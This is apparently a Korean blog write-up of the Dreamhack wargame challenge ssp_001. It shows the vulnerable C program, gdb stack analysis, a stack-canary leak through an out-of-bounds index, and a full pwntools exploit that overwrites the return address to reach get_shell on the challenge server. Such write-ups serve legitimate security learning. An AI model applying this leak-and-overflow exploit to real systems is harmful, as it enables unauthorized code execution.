워게임

Dreamhack - ssp_001

HackHiJack 2021. 8. 1. 23:47
728x90
반응형

오늘은 저번에 이어서 ssp_001을 풀어볼 것이다.

 

 

먼저 c코드를 확인해보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

위에서 print_box 함수에서 canary를 leak 할 수 있을 것 같다.

 

아마도 box와 카나리의 offset을 확인하고 idx에 offset을 나눠서 넣으면 될 것 같다.

 

일단 메인을 디스어셈블 해보자.

Reading symbols from ./ssp_001...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x0804872b <+0>:	push   ebp
   0x0804872c <+1>:	mov    ebp,esp
   0x0804872e <+3>:	push   edi
   0x0804872f <+4>:	sub    esp,0x94
   0x08048735 <+10>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048738 <+13>:	mov    DWORD PTR [ebp-0x98],eax
   0x0804873e <+19>:	mov    eax,gs:0x14
   0x08048744 <+25>:	mov    DWORD PTR [ebp-0x8],eax
   0x08048747 <+28>:	xor    eax,eax
   0x08048749 <+30>:	lea    edx,[ebp-0x88]
   0x0804874f <+36>:	mov    eax,0x0
   0x08048754 <+41>:	mov    ecx,0x10
   0x08048759 <+46>:	mov    edi,edx
   0x0804875b <+48>:	rep stos DWORD PTR es:[edi],eax
   0x0804875d <+50>:	lea    edx,[ebp-0x48]
   0x08048760 <+53>:	mov    eax,0x0
   0x08048765 <+58>:	mov    ecx,0x10
   0x0804876a <+63>:	mov    edi,edx
   0x0804876c <+65>:	rep stos DWORD PTR es:[edi],eax
   0x0804876e <+67>:	mov    WORD PTR [ebp-0x8a],0x0
   0x08048777 <+76>:	mov    DWORD PTR [ebp-0x94],0x0
   0x08048781 <+86>:	mov    DWORD PTR [ebp-0x90],0x0
   0x0804878b <+96>:	call   0x8048672 <initialize>
   0x08048790 <+101>:	call   0x80486f1 <menu>
   0x08048795 <+106>:	push   0x2
   0x08048797 <+108>:	lea    eax,[ebp-0x8a]
   0x0804879d <+114>:	push   eax
   0x0804879e <+115>:	push   0x0
   0x080487a0 <+117>:	call   0x80484a0 <read@plt>
   0x080487a5 <+122>:	add    esp,0xc
   0x080487a8 <+125>:	movzx  eax,BYTE PTR [ebp-0x8a]
---Type <return> to continue, or q <return> to quit---
   0x080487af <+132>:	movsx  eax,al
   0x080487b2 <+135>:	cmp    eax,0x46
   0x080487b5 <+138>:	je     0x80487c6 <main+155>
   0x080487b7 <+140>:	cmp    eax,0x50
   0x080487ba <+143>:	je     0x80487eb <main+192>
   0x080487bc <+145>:	cmp    eax,0x45
   0x080487bf <+148>:	je     0x8048824 <main+249>
   0x080487c1 <+150>:	jmp    0x804887a <main+335>
   0x080487c6 <+155>:	push   0x804896c
   0x080487cb <+160>:	call   0x80484b0 <printf@plt>
   0x080487d0 <+165>:	add    esp,0x4
   0x080487d3 <+168>:	push   0x40
   0x080487d5 <+170>:	lea    eax,[ebp-0x88]
   0x080487db <+176>:	push   eax
   0x080487dc <+177>:	push   0x0
   0x080487de <+179>:	call   0x80484a0 <read@plt>
   0x080487e3 <+184>:	add    esp,0xc
   0x080487e6 <+187>:	jmp    0x804887a <main+335>
   0x080487eb <+192>:	push   0x8048979
   0x080487f0 <+197>:	call   0x80484b0 <printf@plt>
   0x080487f5 <+202>:	add    esp,0x4
   0x080487f8 <+205>:	lea    eax,[ebp-0x94]
   0x080487fe <+211>:	push   eax
   0x080487ff <+212>:	push   0x804898a
   0x08048804 <+217>:	call   0x8048540 <__isoc99_scanf@plt>
   0x08048809 <+222>:	add    esp,0x8
   0x0804880c <+225>:	mov    eax,DWORD PTR [ebp-0x94]
   0x08048812 <+231>:	push   eax
   0x08048813 <+232>:	lea    eax,[ebp-0x88]
   0x08048819 <+238>:	push   eax
   0x0804881a <+239>:	call   0x80486cc <print_box>
   0x0804881f <+244>:	add    esp,0x8
---Type <return> to continue, or q <return> to quit---
   0x08048822 <+247>:	jmp    0x804887a <main+335>
   0x08048824 <+249>:	push   0x804898d
   0x08048829 <+254>:	call   0x80484b0 <printf@plt>
   0x0804882e <+259>:	add    esp,0x4
   0x08048831 <+262>:	lea    eax,[ebp-0x90]
   0x08048837 <+268>:	push   eax
   0x08048838 <+269>:	push   0x804898a
   0x0804883d <+274>:	call   0x8048540 <__isoc99_scanf@plt>
   0x08048842 <+279>:	add    esp,0x8
   0x08048845 <+282>:	push   0x804899a
   0x0804884a <+287>:	call   0x80484b0 <printf@plt>
   0x0804884f <+292>:	add    esp,0x4
   0x08048852 <+295>:	mov    eax,DWORD PTR [ebp-0x90]
   0x08048858 <+301>:	push   eax
   0x08048859 <+302>:	lea    eax,[ebp-0x48]
   0x0804885c <+305>:	push   eax
   0x0804885d <+306>:	push   0x0
   0x0804885f <+308>:	call   0x80484a0 <read@plt>
   0x08048864 <+313>:	add    esp,0xc
   0x08048867 <+316>:	mov    eax,0x0
   0x0804886c <+321>:	mov    edx,DWORD PTR [ebp-0x8]
   0x0804886f <+324>:	xor    edx,DWORD PTR gs:0x14
   0x08048876 <+331>:	je     0x8048884 <main+345>
   0x08048878 <+333>:	jmp    0x804887f <main+340>
   0x0804887a <+335>:	jmp    0x8048790 <main+101>
   0x0804887f <+340>:	call   0x80484e0 <__stack_chk_fail@plt>
   0x08048884 <+345>:	mov    edi,DWORD PTR [ebp-0x4]
   0x08048887 <+348>:	leave  
   0x08048888 <+349>:	ret    
End of assembler dump.
(gdb)

 

main + 179에서 box를 입력받는다(read 3개 중 2번째)

 

그러면 저기다가 브레이크를 걸고 esp를 확인해보자.

(gdb) b *main+179
Breakpoint 1 at 0x80487de
(gdb) r
Starting program: /home/psj/ssp_001 
[F]ill the box
[P]rint the box
[E]xit
> F
box input : 
Breakpoint 1, 0x080487de in main ()
(gdb) i r esp
esp            0xffffcfa4	0xffffcfa4
(gdb) x/50wx 0xffffcfa4
0xffffcfa4:	0x00000000	0xffffcfc0	0x00000040	0xffffd0e4
0xffffcfb4:	0x00000000	0x00000000	0x0a4659bf	0x00000000
0xffffcfc4:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffcfd4:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffcfe4:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffcff4:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd004:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd014:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd024:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd034:	0x00000000	0x00000000	0x00000000	0x853cfa00
0xffffd044:	0xf7fb6000	0x00000000	0xf7e1e647	0x00000001
0xffffd054:	0xffffd0e4	0xffffd0ec	0x00000000	0x00000000
0xffffd064:	0x00000000	0xf7fb6000

음.. 여기서는 제대로 된 스택을 확인할 수 없을 것 같다.

 

그러면 name 의 스택을 확인해보자.

 

name을 read하는 함수는 main+308에 있다.

(gdb) b *main+308
Breakpoint 1 at 0x804885f
(gdb) r
Starting program: /home/psj/ssp_001 
[F]ill the box
[P]rint the box
[E]xit
> E
Name Size : 8
Name : 
Breakpoint 1, 0x0804885f in main ()
(gdb) ni
AAAABBBB
0x08048864 in main ()
(gdb) 
0x08048867 in main ()
(gdb) x/50wx $esp
0xffffcfb0:	0xffffd0e4	0x00000000	0x00000008	0x0a4559bf
0xffffcfc0:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffcfd0:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffcfe0:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffcff0:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd000:	0x41414141	0x42424242	0x00000000	0x00000000
0xffffd010:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd020:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd030:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd040:	0xa6abb500	0xf7fb6000	0x00000000	0xf7e1e647
0xffffd050:	0x00000001	0xffffd0e4	0xffffd0ec	0x00000000
0xffffd060:	0x00000000	0x00000000	0xf7fb6000	0xf7ffdc04
0xffffd070:	0xf7ffd000	0x00000000

 

위처럼 main+30에 브레이크를 건다. 그리고 name size는 대충 8바이트 넣고 name에 AAAABBBB를 입력하면 0xffffd000에 값이 들어간다.

 

아까 0xffffcfa4부터 box가 들어갔으니 0xffffd000-0xffffcfa4를 64비트로 딱 맞아떨어진다.

그러면 stack을 생각해보자.

#stack

low

box[64] 
name[64]
canary[4]
sfp[4]
dummy[4]
ret[4]

high

(dummy가 sfp, ret 사이에 들어가 있는데 왜인지는 모르겠다.)

그러면 0xffffd040 즉 위에서 0xa6abb500이 카나리인 것이다.

 

따라서 box와 카나리의 offset은 0x80 즉 128이다.

 

그러면 print_box에서 idx를 128, 129, 130, 131을 주면 카나리가 나올 것이다.

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/psj/ssp_001 
[F]ill the box
[P]rint the box
[E]xit
> P
Element index : 128
Element of index 128 is : 00
[F]ill the box
[P]rint the box
[E]xit
> P
Element index : 129
Element of index 129 is : e8
[F]ill the box
[P]rint the box
[E]xit
> P
Element index : 130
Element of index 130 is : a1
[F]ill the box
[P]rint the box
[E]xit
> P
Element index : 131
Element of index 131 is : 11
[F]ill the box
[P]rint the box
[E]xit

카나리가 stack에서 거꾸로 표시되니, 카나리의 값은 0x00e8a111이 아닌 0x11a1e800이 될 것이다.

 

이제 카나리를 leak 하는 프로그램을 만들어보자.

from pwn import *

#context.log_level = "debug"

p = process("./ssp_001")

canary = b"0x"

p.recvuntil("> ")

def canary_leak(num): #P 값을 주고 카니리 leak을 반복
	p.sendline(b"P")
	p.recvuntil(": ")
	p.sendline(str(num))

	p.recvuntil("is : ")

	return p.recv()[:2]

canary += canary_leak(131) 
canary += canary_leak(130)
canary += canary_leak(129)
canary += canary_leak(128)

canary = int(canary, 16)

print("Canary : "+hex(canary))

이제 leak스크립트를 실행하면 아래처럼 카나리가 잘 나오는 것을 확인할 수 있다.

psj@ubuntu:~$ python3 sp_leak.py
[+] Starting local process './ssp_001': pid 93566
Canary : 0x8b653300
[*] Stopped process './ssp_001' (pid 93566)

이제 카나리의 값을 구하는 프로그램을 만들었으니 exploit code를 짜 보자.

 

name을 이용해서 payload를 짜 볼 것이다.

nop * 64 + canary + nop * 4 + nop * 4 + get_shell address

위처럼 payload를 짜면 될 것 같다.

 

아래처럼 exploit code를 만들어보자.

from pwn import *

#context.log_level = "debug"

#p = process("./ssp_001")
p = remote("host1.dreamhack.games",11392)
e = ELF("./ssp_001")

canary = b"0x"
get_shell = e.symbols["get_shell"]

p.recvuntil("> ")

def canary_leak(num):
	p.sendline(b"P")
	p.recvuntil(": ")
	p.sendline(str(num))

	p.recvuntil("is : ")

	return p.recv()[:2]

canary += canary_leak(131)
canary += canary_leak(130)
canary += canary_leak(129)
canary += canary_leak(128)

canary = int(canary, 16)

print("Canary : "+hex(canary))

payload = b"\x90" * 64 #name
payload += p32(canary) #canary
payload += b"\x90" * 8 #sfp & 4bytes dummy
payload += p32(get_shell) #ret


p.sendline("E")
p.recvuntil("Size : ")

p.sendline(str(len(payload))) #payload length

p.recvuntil("Name : ")

p.sendline(payload)

p.interactive()

이제 스크립트를 실행해보자.

shell 획득에 성공한 걸 확인할 수 있다.

728x90
반응형